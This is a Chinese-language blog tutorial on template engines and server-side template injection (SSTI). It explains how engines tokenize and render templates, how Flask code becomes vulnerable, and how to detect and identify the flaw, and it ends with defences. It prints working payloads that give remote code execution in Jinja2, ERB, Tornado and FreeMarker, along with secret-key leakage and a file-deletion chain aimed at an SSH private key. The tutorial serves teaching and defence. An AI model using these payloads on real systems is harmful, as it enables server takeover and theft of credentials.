【Web安全】SSTI 从零到一:模板引擎原理深度拆解与服务端模板注入全流程解析

免责声明:本文仅用于网络安全学习与研究目的,旨在帮助开发者理解 SSTI 漏洞原理以提升防御能力。请勿将文中涉及的技术用于未经授权的渗透测试或任何非法用途。未经目标系统所有者明确书面授权,对其进行安全测试属于违法行为。作者不对任何滥用行为承担责任。

一、模板引擎

在正式讲解 SSTI 之前,我们首先需要知道模板引擎的相关概念。

1、什么是模板引擎?

模板引擎是一种将数据展示逻辑分离的工具。它允许开发者定义包含占位符的模板文件,然后在运行时用实际数据填充这些占位符,最终生成完整的输出(通常是 HTML)。

复制代码
模板 + 数据  →  模板引擎  →  最终输出

2、为什么需要模板引擎?

想象一下,你要为 10000 个用户生成个性化的欢迎页面。没有模板引擎时:

python 复制代码
# ❌ 硬编码方式 ------ 噩梦
html = "<html><body><h1>欢迎, " + username + "!</h1><p>你有" + str(msg_count) + "条消息</p></body></html>"

有了模板引擎:

html 复制代码
<!-- ✅ 模板文件 welcome.html -->
<html>
  <body>
    <h1>欢迎, {{ username }}!</h1>
    <p>你有 {{ msg_count }} 条消息</p>
  </body>
</html>

优势一目了然:代码更清晰、维护更容易、前后端职责分离

3、模板引擎的核心功能

(1)变量插值

将变量值渲染到模板中,这是最基础的功能。

jinja2 复制代码
{# Jinja2 示例 #}
Hello, {{ user.name }}!
你的余额是: {{ user.balance | round(2) }}
(2)控制结构

支持条件判断和循环。

jinja2 复制代码
{# 条件判断 #}
{% if user.is_admin %}
  <a href="/admin">管理后台</a>
{% else %}
  <a href="/profile">个人中心</a>
{% endif %}

{# 循环 #}
<ul>
{% for item in product_list %}
  <li>{{ item.name }} - ¥{{ item.price }}</li>
{% endfor %}
</ul>
(3)过滤器

对变量进行格式化处理。

jinja2 复制代码
{{ "hello world" | upper }}        {# → HELLO WORLD #}
{{ username | length }}             {# → 字符串长度 #}
{{ content | truncate(100) }}       {# → 截断为100字符 #}
{{ price | round(2) | string }}     {# → 链式过滤器 #}
(4)模板继承

避免重复代码,实现页面布局复用。

html 复制代码
<!-- base.html 父模板 -->
<html>
  <head><title>{% block title %}默认标题{% endblock %}</title></head>
  <body>
    <nav>导航栏...</nav>
    {% block content %}{% endblock %}   <!-- 子模板填充这里 -->
    <footer>页脚...</footer>
  </body>
</html>
html 复制代码
<!-- page.html 子模板 -->
{% extends "base.html" %}

{% block title %}商品详情{% endblock %}

{% block content %}
  <h1>{{ product.name }}</h1>
{% endblock %}

4、常见模板引擎一览

语言 模板引擎 语法示例
Python Jinja2 {``{ variable }} {% for %}
Python Mako ${variable} % for
Python Tornado {``{ variable }}
Java Freemarker ${variable} <#if>
Java Thymeleaf th:text="${variable}"
PHP Twig {``{ variable }} {% if %}
Ruby ERB <%= variable %> <% if %>
Node.js Pug = variable each
Node.js EJS <%= variable %> <% for %>
Go html/template {``{ .Variable }}

5、模板引擎的工作原理

这是理解 SSTI 的关键部分。

复制代码
① 读取模板文件
        ↓
② 词法分析(Lexing)
   将模板拆分为 Token:
   [文本块] [变量块] [标签块] ...
        ↓
③ 语法分析(Parsing)
   构建抽象语法树(AST)
        ↓
④ 渲染(Rendering)
   遍历 AST,结合数据上下文生成输出
        ↓
⑤ 返回最终 HTML 字符串

假设我们有这样一个模板和数据:

模板字符串:

复制代码
<h1>Hello, {{ name }}!</h1>
{% if show_items %}
<ul>
  {% for item in items %}
  <li>{{ item }}</li>
  {% endfor %}
</ul>
{% endif %}

数据上下文:

python 复制代码
context = {
    "name": "Alice",
    "show_items": True,
    "items": ["Apple", "Banana"]
}
(1)读取模板文件

没什么好说的,就是把上面那段模板字符串读进内存。

(2)词法分析

扫描器从左到右扫描模板,遇到 {``{{%{# 这些定界符就"切一刀",把模板拆成一个个 Token:

复制代码
Token 1:  TEXT        "<h1>Hello, "
Token 2:  VAR_START   "{{"
Token 3:  NAME        "name"
Token 4:  VAR_END     "}}"
Token 5:  TEXT        "!</h1>\n"
Token 6:  BLOCK_START "{%"
Token 7:  NAME        "if"
Token 8:  NAME        "show_items"
Token 9:  BLOCK_END   "%}"
Token 10: TEXT        "\n<ul>\n  "
Token 11: BLOCK_START "{%"
Token 12: NAME        "for"
Token 13: NAME        "item"
Token 14: NAME        "in"
Token 15: NAME        "items"
Token 16: BLOCK_END   "%}"
Token 17: TEXT        "\n  <li>"
Token 18: VAR_START   "{{"
Token 19: NAME        "item"
Token 20: VAR_END     "}}"
Token 21: TEXT        "</li>\n  "
Token 22: BLOCK_START "{%"
Token 23: NAME        "endfor"
Token 24: BLOCK_END   "%}"
Token 25: TEXT        "\n</ul>\n"
Token 26: BLOCK_START "{%"
Token 27: NAME        "endif"
Token 28: BLOCK_END   "%}"

这一步的核心就是分类------每段内容是纯文本、变量、还是控制标签。

(3)语法分析

解析器消费这些 Token,构建出一棵 AST(抽象语法树)。用伪代码表示大致是:

复制代码
Root
├── TextNode("Hello, ")
├── VariableNode(name="name")
├── TextNode("!</h1>\n")
└── IfNode(condition="show_items")
    └── body:
        ├── TextNode("\n<ul>\n  ")
        ├── ForNode(target="item", iterable="items")
        │   └── body:
        │       ├── TextNode("\n  <li>")
        │       ├── VariableNode(name="item")
        │       └── TextNode("</li>\n  ")
        └── TextNode("\n</ul>\n")

注意关键变化:扁平的 Token 流变成了嵌套的树结构ifendfor 这些标签不再出现,它们的作用被体现在了树的父子关系中------ForNodebody 里装着循环体内容。

(4)渲染

遍历 AST,每个节点根据自己的类型做不同的事:

复制代码
访问 TextNode("<h1>Hello, ")     → 直接输出 "<h1>Hello, "
访问 VariableNode("name")        → 查上下文,name="Alice" → 输出 "Alice"
访问 TextNode("!</h1>\n")        → 直接输出 "!</h1>\n"
访问 IfNode("show_items")        → 查上下文,show_items=True → 进入 body
  访问 TextNode("\n<ul>\n  ")    → 直接输出
  访问 ForNode("item" in "items")→ items=["Apple","Banana"],循环两次:
    ── 第1次迭代:item="Apple"
       TextNode("\n  <li>")      → 输出
       VariableNode("item")      → 输出 "Apple"
       TextNode("</li>\n  ")     → 输出
    ── 第2次迭代:item="Banana"
       TextNode("\n  <li>")      → 输出
       VariableNode("item")      → 输出 "Banana"
       TextNode("</li>\n  ")     → 输出
  访问 TextNode("\n</ul>\n")     → 直接输出

如果 show_itemsFalse,IfNode 就直接跳过整个 body,<ul> 那一段根本不会出现。

(5)最终输出

把上面所有输出拼接起来:

html 复制代码
<h1>Hello, Alice!</h1>
<ul>
  <li>Apple</li>
  <li>Banana</li>
</ul>

6、上下文

模板引擎在渲染时有一个"上下文"对象,包含所有可用的变量和对象:

python 复制代码
# Flask + Jinja2 示例
from flask import Flask, render_template

app = Flask(__name__)

@app.route('/profile/<username>')
def profile(username):
    user = get_user(username)
    # 将数据传入模板上下文
    return render_template('profile.html', 
                           user=user,        # 可在模板中用 {{ user.xxx }}
                           title="个人主页") # 可在模板中用 {{ title }}

7、安全边界:转义

现代模板引擎默认会对输出进行 HTML 转义,防止 XSS:

jinja2 复制代码
{# 假设 user_input = "<script>alert(1)</script>" #}

{{ user_input }}
{# 输出: &lt;script&gt;alert(1)&lt;/script&gt; → 安全 ✅ #}

{{ user_input | safe }}
{# 输出: <script>alert(1)</script> → 危险 ⚠️ #}

二、SSTI

有了上面的基础知识,现在思考一个问题:如果用户提供的数据不在上下文中而是直接插入到模板之中了呢?

我们先回顾正确的做法,再看错误的做法,两者的对比就是 SSTI 的本质。

1、安全写法:用户数据在上下文中

python 复制代码
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/greet')
def greet():
    username = request.args.get('name', 'Guest')
    # 用户数据作为"变量"传进上下文
    template = '<h1>Hello, {{ username }}!</h1>'
    return render_template_string(template, username=username)

此时工作流程是这样的:

复制代码
① 模板字符串(开发者写死的): '<h1>Hello, {{ username }}!</h1>'
② 上下文数据(用户提供的):   {"username": "Alice"}
③ 引擎渲染 → 输出:            '<h1>Hello, Alice!</h1>'

关键点:模板的结构 是开发者定义的,用户只能影响数据{``{ username }} 这个占位符是开发者写的,用户提供的 "Alice" 只会被当作纯文本填进去。

即使用户输入 {``{ 7*7 }}

复制代码
上下文: {"username": "{{ 7*7 }}"}
输出:   '<h1>Hello, {{ 7*7 }}!</h1>'   ← 原样显示,不会被计算

因为引擎在词法分析阶段处理的是开发者写的模板,而不是用户输入。用户输入是在渲染阶段才以纯文本形式填入的,根本不会经过词法分析和语法分析。

2、危险写法:用户数据拼接进模板

python 复制代码
@app.route('/greet')
def greet():
    username = request.args.get('name', 'Guest')
    # 用户数据被拼接进了模板字符串本身!
    template = '<h1>Hello, ' + username + '!</h1>'
    return render_template_string(template)

看出区别了吗?用户输入不再是上下文里的变量,而是模板字符串的一部分

现在假设攻击者访问:

复制代码
/greet?name={{ 7*7 }}

我们跟着模板引擎的工作流程一步一步走。

(1)拼接模板字符串
python 复制代码
username = "{{ 7*7 }}"
template = '<h1>Hello, ' + '{{ 7*7 }}' + '!</h1>'
# 拼接结果:
# '<h1>Hello, {{ 7*7 }}!</h1>'

注意!这个字符串长得和安全写法的模板一模一样 ,但本质完全不同------这里的 {``{ 7*7 }}用户注入的,不是开发者写的。

(2)词法分析

引擎不知道也不关心这段模板是怎么来的,它只看到一段字符串,照常"切 Token":

复制代码
Token 1:  TEXT       "<h1>Hello, "
Token 2:  VAR_START  "{{"
Token 3:  EXPR       "7*7"       ← 攻击者注入的内容被识别为表达式!
Token 4:  VAR_END    "}}"
Token 5:  TEXT       "!</h1>"

对比安全写法,安全写法中引擎看到的 Token 3 是 NAME "username"(一个需要查上下文的变量名)。而这里 Token 3 是 EXPR "7*7"(一个会被计算的表达式)。

(3)语法分析

构建 AST:

复制代码
Root
├── TextNode("<h1>Hello, ")
├── ExpressionNode(expression="7*7")    ← 这里不再是查变量,而是计算表达式
└── TextNode("!</h1>")
(4)渲染
复制代码
访问 TextNode("<h1>Hello, ")         → 输出 "<h1>Hello, "
访问 ExpressionNode("7*7")           → 计算 7*7 = 49 → 输出 "49"
访问 TextNode("!</h1>")              → 输出 "!</h1>"
(5)最终输出
html 复制代码
<h1>Hello, 49!</h1>

攻击者输入的 {``{ 7*7 }} 被模板引擎当作模板语法解析并执行了。

3、从计算到危害:攻击升级

7*7 只是个无害的概念验证。真正的危险在于,模板引擎的表达式求值往往能触及底层语言的能力。

以 Jinja2(Python)为例,攻击者可以逐步升级:

复制代码
第一步:确认漏洞存在
{{ 7*7 }}  →  49

第二步:探索可用对象
{{ config }}  →  泄露 Flask 配置信息(可能包含密钥)

第三步:访问 Python 内置类
{{ ''.__class__.__mro__ }}  →  获取字符串的继承链,找到 object 基类

第四步:遍历子类,寻找危险类
{{ ''.__class__.__mro__[1].__subclasses__() }}  →  列出所有子类

第五步:找到可以执行命令的类(如 os._wrap_close),实现远程代码执行
{{ ''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['popen']('id').read() }}

一个简单的字符串拼接,最终可能导致服务器被完全控制

4、根因对比

安全写法 危险写法
用户输入的角色 上下文中的数据 模板字符串的一部分
引擎如何处理 渲染阶段以纯文本填入 词法分析阶段被解析为语法
{``{ 7*7 }} 的结果 原样显示 {``{ 7*7 }} 计算并输出 49
安全性 用户无法影响模板结构 用户可以注入任意模板代码

5、一句话总结

SSTI(Server-Side Template Injection,服务端模板注入)是指攻击者的输入被拼接进模板字符串而非作为数据传入上下文,导致模板引擎将用户输入当作模板语法解析并执行,从而实现从信息泄露到远程代码执行的攻击。

三、构造 SSTI 攻击

攻击 SSTI 通常遵循以下三步流程:

复制代码
检测 (Detect) → 识别 (Identify) → 利用 (Exploit)

SSTI 极易被误认为 XSS 或完全被忽视。任何允许用户输入进入模板的地方都应被视为潜在攻击面。防御的核心原则是永远将用户输入作为数据传入模板,而非拼接到模板中

1、检测

SSTI 漏洞常被忽视,因为它只有在审计者刻意寻找时才容易发现。一旦发现,利用起来往往非常简单(尤其在未沙箱化的环境中)。

(1)Fuzz 测试

第一步是向模板中注入一组模板表达式中常见的特殊字符:

复制代码
${{<%[%'"}}%\

如果服务器返回了异常/错误信息,说明注入的模板语法可能被服务端解析,这是存在 SSTI 的一个信号。

(2)纯文本上下文

在这种上下文中,用户输入在模板渲染时被直接拼接为字符串。

示例代码:

复制代码
render('Hello ' + username)

检测方法:将参数设为数学表达式:

复制代码
http://vulnerable-website.com/?username=${7*7}

如果输出为 Hello 49,则说明数学运算在服务端被执行,证明存在 SSTI。

这种情况有时会被误认为简单的 XSS 漏洞。

(3)代码上下文

用户输入被嵌入到模板表达式内部。

示例代码:

复制代码
greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)

正常请求:

复制代码
http://vulnerable-website.com/?greeting=data.username

输出:Hello Carlos

检测步骤:

(3.1)第一步:先注入 HTML 标签确认不是 XSS
复制代码
?greeting=data.username<tag>

拼接后的模板源码:

html 复制代码
Hello {{data.username<tag>}}

模板引擎渲染的时候,<tag> 会导致语法错误,出现页面空白、报错,或根本看不到 <tag> 的情况。

如果是普通 XSS (比如直接 print(greeting)),浏览器会收到 Hello data.username<tag><tag> 会变成真实 HTML 标签。

(3.2)第二步,尝试闭合模板语法并注入 HTML
复制代码
?greeting=data.username}}<tag>

拼接后的模板源码:

html 复制代码
Hello {{data.username}}</tag>}}

如果输出正确渲染了 Hello Carlos<tag>,则确认存在 SSTI。

2、识别模板引擎

检测到注入点后,下一步是确定正在使用哪种模板引擎。

(1)通过错误信息识别

提交无效语法通常就能暴露模板引擎信息。例如,无效表达式 <%=foobar%> 在 Ruby ERB 引擎中会触发如下错误:

复制代码
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'
(2)通过决策树识别

通过注入不同引擎特有的数学运算表达式,根据返回结果逐步排除,来确定引擎类型。

决策树逻辑:

复制代码
${7*7}  →  成功?
├── 是 → a]  ${7*7} = 49
│         进一步测试 → a]  可能是 Jinja2, Twig, 或其他
└── 否 → {{7*7}}  →  成功?
          ├── 是 → {{7*'7'}}  →  返回什么?
          │         ├── 49      → Twig
          │         └── 7777777 → Jinja2
          └── 否 → 继续测试其他语法...

常见引擎及对应语法:

模板引擎 语法风格 语言
Jinja2 {``{ }} / {% %} Python
Twig {``{ }} / {% %} PHP
FreeMarker ${ } / <# > Java
Velocity $variable / #directive Java
ERB <%= %> Ruby
Tornado {``{ }} / {% %} Python
Smarty { } PHP
Handlebars {``{ }} JavaScript
Pebble {``{ }} / {% %} Java
Django {``{ }} / {% %} Python

同一载荷可能在多个引擎中都返回成功结果。例如 {``{7*'7'}} 在 Twig 中返回 49,在 Jinja2 中返回 7777777。不要仅凭一次测试就下结论。

3、利用

确认漏洞存在并识别出模板引擎后,即可开始尝试利用。利用过程通常包含以下三个阶段:

(1)阅读文档
(1.1)学习基本语法

了解模板引擎的基本语法、关键函数和变量处理方式是第一步。

(1.2)查阅安全相关文档

许多模板引擎的文档中包含安全相关章节,列出了已知的危险行为和内置的安全限制。

(1.3)查找已知利用方法

由于主流模板引擎使用广泛,通常可以在互联网上找到已被公开的利用方法(documented exploits),可据此调整以适配目标。

各引擎利用示例:

  • ERB (Ruby)<%= system("whoami") %>
  • Tornado (Python){% import os %}{``{os.system('id')}}
  • FreeMarker (Java)<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
  • Handlebars (JS):查找公开的 RCE 利用链
  • Django (Python){% debug %} 获取调试信息;{``{settings.SECRET_KEY}} 泄露密钥
(2)探索环境

如果文档中没有现成的利用方法,下一步是探索模板运行环境,发现所有可访问的对象。

  • 许多模板引擎会暴露一个 "self""environment" 对象,它充当命名空间,包含引擎支持的所有对象、方法和属性。
  • 在 Java 模板中,可以尝试列出所有环境变量:${T(java.lang.System).getenv()}
  • 需要特别关注开发者自定义的对象,这些对象更可能包含敏感信息或可利用的方法。
  • 同一网站的不同模板中,可用对象可能不同,需逐一探索。
(3)构造自定义攻击

当没有现成利用方法时,需要自己构造攻击链。

(3.1)利用对象链

识别可访问的对象后,审查每个对象的方法和属性,寻找可以链式调用以实现任意代码执行或文件读写的路径。

(3.2)利用开发者自定义对象

网站可能将自定义的业务对象传入模板,这些对象可能暴露了危险的方法。例如某些对象可能提供文件操作方法,可以被利用来读取或删除服务器上的文件。

自定义利用示例(Tornado + 自定义对象):

复制代码
# 设置目标文件为用户头像
user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')

# 通过 GDPR 删除功能删除该文件
user.gdprDelete()

即使无法实现 RCE,仍可通过 SSTI 实现文件读取、敏感数据泄露等高危攻击。

四、防御措施

1、避免用户输入进入模板

最根本的防御是不允许用户修改或提交模板。但有时业务需求无法完全避免。

2、使用无逻辑模板引擎

尽量使用 "logic-less" 模板引擎 (如 Mustache),这类引擎将逻辑与展示分离,大大减少了可被利用的攻击面。

3、沙箱化执行

在沙箱环境中执行用户代码,移除危险的模块和函数。但需要注意:沙箱绕过是一个常见问题,不应完全依赖沙箱。

4、容器化隔离

将模板执行环境部署在锁定的 Docker 容器中,即使攻击者实现了任意代码执行,其影响范围也被限制在容器内。

5、综合建议

防御层级 措施 效果
设计层 不允许用户输入进入模板 从根源消除风险
引擎选型 使用无逻辑模板引擎 (Mustache 等) 大幅减少攻击面
运行时 沙箱化执行环境 限制可调用的功能
基础设施 Docker 容器隔离 限制攻击影响范围
输入处理 将用户输入作为数据参数传入而非拼接 避免注入点产生
相关推荐
CDN36011 小时前
SDK 游戏盾接入闪退 / 初始化失败?依赖冲突与兼容修复
运维·游戏·网络安全
一名优秀的码农15 小时前
vulhub系列-55-napping-1.0.1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
ShoreKiten17 小时前
DC-9靶机渗透--CTFer从0到1的进阶之路
网络安全·渗透测试
Meme Buoy17 小时前
9.3端口扫描-安全体系-网络安全技术和协议
网络·安全·web安全
一名优秀的码农17 小时前
vulhub系列-54-Red(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
hzhsec18 小时前
钓鱼邮件分析与排查
服务器·前端·安全·web安全·钓鱼邮件
特别关注外国供应商18 小时前
使用 Trellix 解决方案,构建跨 IT/OT 基础架构的安全连续性
网络安全·数据安全·it安全·网络威胁·恶意软件分析·trellix·ot安全
Xudde.18 小时前
班级作业笔记报告0x05
笔记·学习·安全·web安全
ShoreKiten19 小时前
DC-7靶机渗透:CTFer从0到1的进阶之路
网络安全·渗透测试
NaclarbCSDN19 小时前
User role controlled by request parameter-Burp 复现
网络·安全·网络安全